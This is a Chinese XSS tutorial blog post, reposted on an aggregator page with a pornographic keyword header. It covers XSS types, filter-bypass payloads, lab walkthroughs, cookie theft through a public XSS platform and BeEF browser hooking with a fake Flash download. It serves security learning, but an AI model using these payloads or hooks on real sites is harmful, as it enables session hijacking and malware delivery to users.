日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

细说XSS

發布時間:2023/12/20 编程问答 33 豆豆
生活随笔 收集整理的這篇文章主要介紹了 细说XSS 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

目錄

  • 什么是XSS
  • 理解XSS
  • 漏洞存在的主要原因
  • XSS普遍流行的原因
  • XSS的危害
  • XSS分類
    • 反射型XSS
    • 存儲型XSS
    • DOM型
  • 攻擊載荷
    • XSS構造
    • 事件驅動
    • XSS變形
  • XSS插在哪
  • XSS挖掘
    • 黑盒測試
    • 白盒測試(代碼審計)**?**
  • 禁盜Cookie
  • 案例
    • XSS平臺利用
    • Pikachu靶機XSS(跨站腳本)
      • 反射型xss(get)
      • 反射型XSS(POST)
      • 存儲型xss
      • DOM型xss
      • DOM型xss-x
      • XSS盲打
      • XSS之過濾
      • XSS之htmlspecialchars
      • XSS之href輸出
      • XSS之js輸出
  • BeEF
    • BeEF使用教程
    • 啟用BeEF
    • 獲得XSS
    • 戰果
    • 下載惡意文件
  • 靶場
  • 參考

什么是XSS

跨站腳本(Cross-Site Scripting,XSS)是一種經常出現在Web應用程序中的計算機安全漏洞,是由于Web應用程序對用戶的輸入過濾不足而產生的。攻擊者利用網站漏洞把惡意的腳本代碼(通常包括HTML代碼和客戶端Javascript腳本)注入到網頁之中,當其他用戶瀏覽這些網頁時,就會執行其中的惡意代碼,對受害用戶可能采取Cookie資料竊取、會話劫持、釣魚欺騙等各種攻擊。

  • 通常情況下,我們既可以把跨站腳本理解成一種Web安全漏洞,也可以理解成一種攻擊手段。
  • XSS跨站腳本攻擊本身對Web服務器沒有直接危害,它借助網站進行傳播,使網站的大量用戶受到攻擊。
  • 攻擊者一般通過留言、電子郵件或其他途徑向受害者發送一個精心構造的惡意URL,當受害者在Web瀏覽器中打開該URL的時侯,惡意腳本會在受害者的計算機上悄悄執行,

理解XSS

還是有點費解的話,看看下面的演示,演示一個簡單的XSS:
在搭建了phpstudy的win2008靶機上,寫一個xss.php文件,內容是:

<?php$xss=$_GET['x']; echo $xss;?>

正常訪問如下:

輸入了<script>alert('xss')</script>之后,xss彈窗如下:

解釋:當我們輸入字符1的時候,直接被回顯出來了,如果輸入的是一段js內容,當這段js內容被回顯的時候,由于這段代碼是js的,這意味著它可以被瀏覽器識別出來,并且執行,于是這段js代碼被執行了,就是我們看到的一個彈窗。這就是一個簡單的XSS演示。
?

XSS能不能實現,跟瀏覽器也有一些關系,有時候是瀏覽器類型,有時候是瀏覽器版本,譬如,IE瀏覽器:

漏洞存在的主要原因

  • 參數輸入未經過安全過濾
  • 惡意腳本被輸出到網頁
  • 用戶的瀏覽器執行了惡意腳本

XSS普遍流行的原因

(1)Web瀏覽器本身的設計是不安全的。瀏覽器包含了解析和執行JavaScript等腳本語言的能力,這些語言可用來創建各種格式豐富的功能,而瀏覽器只會執行,不會判斷數據和程序代碼是否惡意。
(2)輸入與輸出是Web應用程序最基本的交互,在這過程之中若沒做好安全防護,Web程序很容易會出現XSS漏洞。
(3)現在的應用程序大部分是通過團隊合作完成的,程序員之間的水平參差不齊,很少有人受過正規的安全培訓,因此,開發出來的產品難免存在問題。
(4)不管是開發人員還是安全工程師,很多都沒有真正意識到 XSS 漏洞的危害,導致這類漏洞普遍受到忽視。很多企業甚至缺乏專門的安全工程師,或者不愿意在安全問題上花費更多的時間和成本。
(5)觸發跨站腳本的方式非常簡單,只要向 HTML 代碼中注入腳本即可,而且執行此類攻擊的手段眾多,譬如利用CSS、Flash等。XSS技術的運用如此靈活多變,要做到完全防御是一件相當困難的事情。
(6)隨著Web 2.0的流行,網站上交互功能越來越豐富。Web 2.0鼓勵信息分享與交互,這樣用戶就有了更多的機會去查看和修改他人的信息,比如通過論壇、Blog 或社交網絡,于是黑客也就有了更廣闊的空間發動XSS攻擊。

XSS的危害

XSS分類

XSS根據其特性和利用手法的不同,主要分成兩大類型:一種是反射型跨站腳本;另一種是存儲型跨站腳本,有時還分DOM型。說有時是因為有人分了兩類,有人分類三類。

反射型XSS

反射型XSS是最常見,也是使用最廣的一種,主要用于將惡意腳本附加到URL地址的參數中
定義:
反射型XSS的利用一般是攻擊者通過特定手法(比如利用電子郵件),誘使用戶去訪問一個包含惡意代碼的URL,當受害者點擊這些專門設計的鏈接的時候,惡意JavaScript代碼會直接在受害者主機上的瀏覽器執行。
特點:
它的特點是只在用戶單擊時觸發,而且只執行一次,非持久化,所以稱為反射型跨站式腳本。
危害:
通常出現在網站的搜索欄、用戶登入口等地方,常用來竊取客戶端 Cookies 或進行釣魚欺騙
常用攻擊手段

常見攻擊方式:攻擊者通過電子郵件等方式將包含XSS代碼的惡意鏈接發送給目標用戶。當目標用戶訪問該鏈接時,服務器接收該用戶的請求并進行處理,然后服務器把帶有XSS代碼的數據發送給目標用戶的瀏覽器,瀏覽器解析這段帶有XSS代碼的惡意腳本后,就會觸發XSS漏洞。

防御手段:
使用htmlspecialchars把我們XSS要用到的一些預定義字符轉化為HTML實體,導致無法再進行反射型XSS攻擊。
預定義字符包括:" 、'、<、>、&

存儲型XSS

持久型跨站腳本(Persistent Cross-site Scripting)也等于存儲型跨站腳本(Stored Cross-site Scripting),比反射型跨站腳本更具威脅性,并且可能影響到Web服務器自身的安全
定義:
存儲型XSS不需要用戶單擊特定URL就能執行跨站腳本,攻擊者事先將惡意JavaScript代碼上傳或存儲到漏洞服務器中,只要受害者瀏覽包含此惡意JavaScript代碼的頁面就會執行惡意代碼。
特點:
一般出現在網站的留言、評論、博客日志等交互處,惡意腳本被存儲到客戶端或者服務器的數據庫中,當其他用戶瀏覽該網頁時,站點即從數據庫中讀取惡意用戶存入的非法數據,然后顯示在頁面中,即在受害者主機上的瀏覽器執行惡意代碼。
危害:
持久型XSS不需要用戶去單擊URL進行觸發,所以它的危害比反射型XSS大,黑客可以利用它滲透網站、掛馬、釣魚……
更嚴重的是,利用此類 XSS 能夠輕易編寫危害性更大的 XSS 蠕蟲,跨站蠕蟲是使用Ajax/JavaScript腳本語言編寫的蠕蟲病毒,能夠在網站中實現病毒的幾何數級傳播,其感染速度和攻擊效果都非常可怕。XSS蠕蟲會直接影響到網站的所有用戶,也就是一個地方出現XSS漏洞,同站點下的所有用戶都可能被攻擊
常用攻擊手段

常見攻擊方法:該攻擊多見于論壇、博客和留言板,攻擊者在發帖的過程中,將惡意腳本連同正常信息一起注入帖子的內容中。隨著帖子被服務器存儲下來,惡意腳本也永久地被存放在服務器的后端存儲器中。當其他用戶瀏覽這個被注入了惡意腳本的帖子時,惡意腳本就會在他們的瀏覽器中執行相關操作。

DOM型

首先,什么是DOM呢?
DOM是指文檔對象模型,是一個平臺中立和語言中立的接口,有的程序和腳本可以動態訪問和更新文檔的內容、結構和樣式。在web開發領域的技術浪潮中,DOM是開發者能用來提升用戶體驗的最重要的技術之一,而且幾乎所有的現在瀏覽器都支持DOM。
DOM本身是一個表達XML文檔的標準,HTML文檔從瀏覽器角度來說就是XML文檔,有了這些技術后,就可以通過javascript輕松訪問它們。下圖是一個HTML源代碼的DOM樹結構。

其次,什么是DOM-XSS呢?
通過修改頁面的DOM節點形成的XSS,稱之為DOM XSS。它和反射型XSS、存儲型XSS的差別在于,DOM XSS的XSS代碼并不需要服務器解析響應的直接參與,觸發XSS靠的就是瀏覽器端的DOM解析,可以認為完全是客戶端的事情。
可能觸發DOM型XSS的屬性

document.referer window.name location innerHTML documen.write

常用攻擊方式:用戶請求一個經過專門設計的URL,它由攻擊者提交,而且其中包含XSS代碼。服務器的響應不會以任何形式包含攻擊者的腳本。當用戶的瀏覽器處理這個響應時,DOM對象就會處理XSS代碼,導致存在XSS漏洞。

關于DOM型XSS有自動化工具:FinDOM-XSS,傳送門—>FinDOM-XSS:一款針對DOM型XSS漏洞的快速掃描工具

攻擊載荷

這里涉及到一些JavaScript的語法,你可以在bilibili搜索BV1Kr4y1M7Lv觀看某培訓機構提供的JavaScript全套課程,也可以在菜鳥教程中學習。你可以在控制臺中輸入代碼,來簡單的查看到效果

XSS構造

1:

<script>alert("hack")</script> #彈出hack <script>alert(/hack/)</script> #彈出hack <script>alert(1)</script> #彈出1,對于數字可以不用引號 <script>alert(document.cookie)</script> #彈出cookie <script src=http://xxx.com/xss.js></script> #引用外部的xss

2:偽協議
可以使用javascript:偽協議的方式構造XSS
譬如:

<a herf="javascript:alert(/xss/)">touch me!</a> 點擊鏈接觸發xss <img src="javascript:alert(/xss/)"> 這種方法在IE6中可行

3:XSS萬能模板

<sCr<scrscRiptipt>ipt>OonN\&apos;\"<>

事件驅動

“事件驅動”是一種比較經典的編程思想,在網頁會發生很多事件(比如鼠標移動,鍵盤輸入等),JS可以對這些事件進行響應,所以我們可以通過事件觸發JS函數,觸發XSS
事件種類:

  • window事件:對window對象觸發的事件
  • Form事件: HTML表內的動作觸發事件
  • Mouse事件: 由鼠標或類似用戶動作觸發的事件
  • Media事件: 由多媒體觸發的事件

如:【注意不要復制空格之類的玩意,不然沒效果】

<img src='./smile.jpg' onmouseover='alert(/xss/)'>

這個標簽會引入一個圖片,然后鼠標懸停在圖片上的時候,出觸發XSS代碼

<img src=1 onerror=alert(/xss/)>

由于圖片文件不存在觸發錯誤,出現彈窗

<input type="text" onkeydown="alert(/xss/)">

當鼠標點擊鍵盤上任意一個按鍵的時候觸發
類似的

<input type="text" onkeyup="alert(/xss/)"> <input type="text" onkeyclick="alert(/xss/)">

XSS變形

我們可以構造XSS代碼來做各種變形,以繞過XSS過濾器的檢測,有以下變形方式:

  • 大小寫轉換
  • 可以將payload進行大小寫轉換,如下:

    <Img sRc = '#' Onerror = "alert(/xss/)"/> <a hREf = "javaScript:alert(/xss/)">click me</a>
  • 引號的使用
  • HTML語言對引號的使用不敏感,但是某些過濾函數是“錙銖必較”

    <img src="#" onerror="alert(/xss/)"/> <img src='#' onerror='alert(/xss/)'/> <img src= # onerror= alert(/xss/)/>
  • “/”代替空格
  • 可以利用左斜線代替空格

    <img/src='#'/οnerrοr='alert(/xss/)'/>
  • 回車
  • 可以在一些位置添加tab(水平制表符)和回車符,來繞過關鍵字檢測
    把<A hREf="javascRipt:alert(/xss/)">click me!</a>變成

    <A hREf="j a v a s c R i p t : alert(/xss/)">click me!</a>
  • 對標簽屬性進行轉碼,ASCII參照
  • 可以對標簽屬性進行轉碼,用來繞過過濾。譬如:

    字母ASCII碼10進制編碼16進制編碼
    a97ad
    e101ee
    s115ss

    經過簡單編碼之后的樣子:
    <A hREf="j&#97;v&#97;script:allert(/xss/)">click me</a>>可以
    另外,可以將以下字符插入到任意位置:

    字符10進制編碼
    Tab&#9
    換行&#10
    回車&#13

    可以將以下字符插入到頭部位置

    字符10進制編碼
    SOH(標題開始)&#01
    STX(本文開始)&#02
  • 分跨站
  • 把一個XSS拆開來寫<script>alert("XSS");</script>

    <script>z='alert'</script> <script>z=z+'(/xss)'</script> <script>eval(z)</script>
  • 雙寫繞過
  • 把一個標簽寫兩次<script>
    <scr<script>ipt>

    XSS插在哪

    • 用戶輸入作為script標簽內容
    • 用戶輸入作為HTML注釋內容
    • 用戶輸入作為HTML標簽的屬性名
    • 用戶輸入作為HTML標簽的屬性值
    • 用戶輸入作為HTML標簽的名字
    • 直接插入到CSS里
    • 最重要的是,千萬不要引入任何不可信的第三方JavaScript到頁面里!
    #用戶輸入作為HTML注釋內容,導致攻擊者可以進行閉合繞過 <!-- 用戶輸入 --> <!-- --><script>alert('hack')</script><!-- -->#用戶輸入作為標簽屬性名,導致攻擊者可以進行閉合繞過 <div 用戶輸入="xx"> </div> <div ></div><script>alert('hack')</script><div a="xx"> </div>#用戶輸入作為標簽屬性值,導致攻擊者可以進行閉合繞過 <div id="用戶輸入"></div> <div id=""></div><script>alert('hack')</script><div a="x"></div>#用戶輸入作為標簽名,導致攻擊者可以進行閉合繞過 <用戶輸入 id="xx" /> <><script>alert('hack')</script><b id="xx" />#用戶輸入作為CSS內容,導致攻擊者可以進行閉合繞過 <style>用戶輸入<style> <style> </style><script>alert('hack')</script><style> </style>

    XSS挖掘

    黑盒測試

    盡可能找到一切用戶可控并且能夠輸出在頁面代碼中的地方,比如下面這些:

    • URL的每一個參數
    • URL本身
    • 表單
    • 搜索框

    ?

    常見業務場景

    • 重災區:評論區、留言區、個人信息、訂單信息等
    • 針對型:站內信、網頁即時通訊、私信、意見反饋
    • 存在風險:搜索框、當前目錄、圖片屬性等

    白盒測試(代碼審計)?

    關于XSS的代碼審計主要就是從接收參數的地方和一些關鍵詞入手。

    PHP中常見的接收參數的方式有$_GET、$_POST、$_REQUEST等等,可以搜索所有接收參數的地方。然后對接收到的數據進行跟蹤,看看有沒有輸出到頁面中,然后看輸出到頁面中的數據是否進行了過濾和html編碼等處理。

    也可以搜索類似echo這樣的輸出語句,跟蹤輸出的變量是從哪里來的,我們是否能控制,如果從數據庫中取的,是否能控制存到數據庫中的數據,存到數據庫之前有沒有進行過濾等等。

    大多數程序會對接收參數封裝在公共文件的函數中統一調用,我們就需要審計這些公共函數看有沒有過濾,能否繞過等等。

    同理審計DOM型注入可以搜索一些js操作DOM元素的關鍵詞進行審計。

    禁盜Cookie

    如果你在cookie中設置了HttpOnly屬性,那么通過js腳本將無法讀取到cookie信息,這樣能有效的防止XSS盜用Cookie,具體一點的介紹請自行上網搜索

    案例

    XSS平臺利用

    有一種,為他人做嫁衣裳的感覺,實戰中還是用BeEF吧
    上網隨便搜一個XSS平臺,我這里用的是https://xsshs.cn/xss.php

    新建一個項目

    選擇默認模塊即可

    平臺提供了多種代碼風格,隨意選擇一個,不一定哪個能用

    現在XSS準備完畢,準備靶場,這里使用一個存儲型

    管理員登錄之后,查看留言,即可中招

    回到XSS平臺就可以看見,如果看不見信息,說明可能被攔截了

    Pikachu靶機XSS(跨站腳本)

    實驗邏輯如下圖:

    XSS漏洞的常見類型
    危害:存儲型 > 反射型 > DOM型
    1:反射型
    交互的數據一般不會被存儲在數據庫里面,一次性的,所見即所得,一般出現在查詢類頁面等

    2:存儲型
    交互的數據會被存在數據庫里面,永久性存儲,一般出現在留言板,注冊頁面等

    3:DOM型
    不會與后臺服務器產生數據交互,是一種通過DOM操作前端代碼輸出的時候產生的問題,一次性的類似反射型

    XSS產生的原因
    形成ⅩSS漏洞的主要原因是程序對輸入和輸出的控制不夠嚴格,導致“精心構造”的腳本輸入后,在輸到前端時被瀏覽器當作有效代碼解析執行從而產生危害。

    XSS測試流程
    ①在目標站點上找到輸入點,比如查詢接口留言板等
    ②輸入一組“特殊字符+唯一識別字符”,點擊提交后,查看返回的源碼,是否有做對應的處理
    ③通過搜索定位到唯一字符,結合唯一字符前后語法確認是否可以構造執行js的條件(構造閉合)
    ④提交構造的腳本代碼(以及各種繞過姿勢),看是否可以成功執行,如果成功執行則說明存在XSS漏洞

    反射型xss(get)

    首先來試著隨便輸一下測試代碼,然后查看頁面源代碼


    可以看到它沒做任何過濾,直接上<script>alert(/xss/)</script>在輸入代碼的時候發現有長度限制,先看看它是不是前端的,能不能繞過

    有戲(注意,要先改長度限制,再輸入payload)


    或者這樣繞過長度限制:利用HackBar

    或者這樣繞過長度限制:直接在地址欄里面輸入

    反射型XSS(POST)

    1:按照提示登陸

    2:輸入一個XSS代碼<script>alert(/xss/)</script>

    3:回車彈窗

    存儲型xss

    方法同【反射型xss(get)】,先來一個測試代碼,接著查看頁面源代碼。


    看起來沒有做過濾,那就直接上payload<script>alert(/xss/)</script>

    DOM型xss

    思路依然是先來一個測試代碼,然后查看頁面源代碼


    所以,只需要閉合<a href='"+str+"'>即可,payload可以構造為:#' onclick="alert(/xss/)">

    DOM型xss-x

    老套路,測試代碼+頁面源代碼


    發現和上一題基本一樣,payload繼續用#' onclick="alert(/xss/)">

    XSS盲打

    1:先盡可能多的提交一下

    2:按照提示登陸后臺


    3:登陸進去之后報了彈窗

    XSS之過濾

    大小寫繞過<ScriPT>alert(/xss/)</ScriPT>
    雙寫繞過 <scri<script>pt>alert(/xss/)</scr</script>pt>

    XSS之htmlspecialchars

    輸入#' onclick='alert(1)'(建議手敲)


    XSS之href輸出

    使用偽協議javascript:alert(1);

    XSS之js輸出

    使用payload'</script><script>alert(/xss/)</script>


    使用payloadtmac';alert(1);//

    BeEF

    BeEF使用教程

    詳細使用參見:BeEF-XSS詳細使用教程
    中文使用手冊:《BeEF中文文檔》

    啟用BeEF

    這里簡單介紹一下使用,最新版的kali好像移除了它,這里手動安裝一下

    apt-get update # 更新源 apt-get install beef-xss # 安裝BeEF

    啟動BeEF


    獲得XSS

    在前面的章節“XSS平臺利用”中,已經演示過了,這里就簡單演示一下了。
    在靶機的留言板處提交包含XSS代碼的內容

    網站管理員查看了這條留言

    戰果

    回到BeEF,看到了有一臺機器上線了。看到了關于這臺機器的一些相關信息

    BeEF的功能很強大,這里簡單演示一下其中的部分功能

    下載惡意文件

    一種社會工程學攻擊,上網搜一張Flash的圖片,復制圖片地址,然后點擊執行

    靶機的頁面上出現了一個圖片鏈接,大大的圖片出現在屏幕中央,em,,,,這里應該使用一張矢量圖,效果會更好一些。鼠標放在圖片上,左下角可以看到圖片指向的地址。即,點擊圖片,就會下載你執行的一個文件。

    靶場

    XSS-change
    XSSchallenge(1-13題)
    ?

    xss.haozi.me
    項目地址:https://github.com/haozi/xss-demo
    項目答案:https://github.com/haozi/xss-demo/issues/1
    在線靶場:https://xss.haozi.me/#/0x00
    教程:xss靶場練習(一)之xss.haozi.me

    參考

    《XSS跨站腳本攻擊剖析與防御》
    [網絡安全] 五.XSS跨站腳本攻擊詳解及分類-1
    FinDOM-XSS:一款針對DOM型XSS漏洞的快速掃描工具
    web漏洞 | XSS(跨站攻擊腳本)詳解
    什么是HttpOnly

    ?

    總結

    以上是生活随笔為你收集整理的细说XSS的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。